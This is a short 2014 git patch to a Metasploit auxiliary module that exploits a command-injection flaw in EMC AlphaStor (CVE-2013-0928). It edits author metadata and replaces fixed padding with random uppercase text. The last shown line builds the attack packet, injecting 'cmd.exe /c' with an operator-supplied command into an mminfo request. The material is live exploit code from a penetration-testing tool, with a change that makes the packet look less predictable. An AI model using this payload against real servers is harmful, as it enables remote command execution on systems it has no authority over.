From 4a479d17a90917925959258933e146ce81eaf885 Mon Sep 17 00:00:00 2001 From: inkrypto Date: Wed, 27 Aug 2014 20:41:33 -0400 Subject: [PATCH] Randomize padding on aux module, fix spacing on exploits --- modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb b/modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb index 88f8b805e3..0c56037b1f 100644 --- a/modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb +++ b/modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb @@ -15,11 +15,12 @@ class Metasploit3 < Msf::Auxiliary injection. }, 'Author' => [ - 'Preston Thornburg', # prestonthornburg@gmail.com + 'Preston Thornburn', # prestonthornburg@gmail.com 'Mohsan Farid', # faridms@gmail.com 'Brent Morris' # inkrypto@gmail.com ], 'License' => MSF_LICENSE, + 'Version' => '$Revision: $', 'References' => [ [ 'CVE', '2013-0928' ], @@ -36,8 +37,8 @@ class Metasploit3 < Msf::Auxiliary def run connect - - padding = "\x41" * 512 + + padding = Rex::Text.rand_text_alpha_upper(512) packet = "\x75~ mminfo &cmd.exe /c #{datastore['CMD']} #{padding}"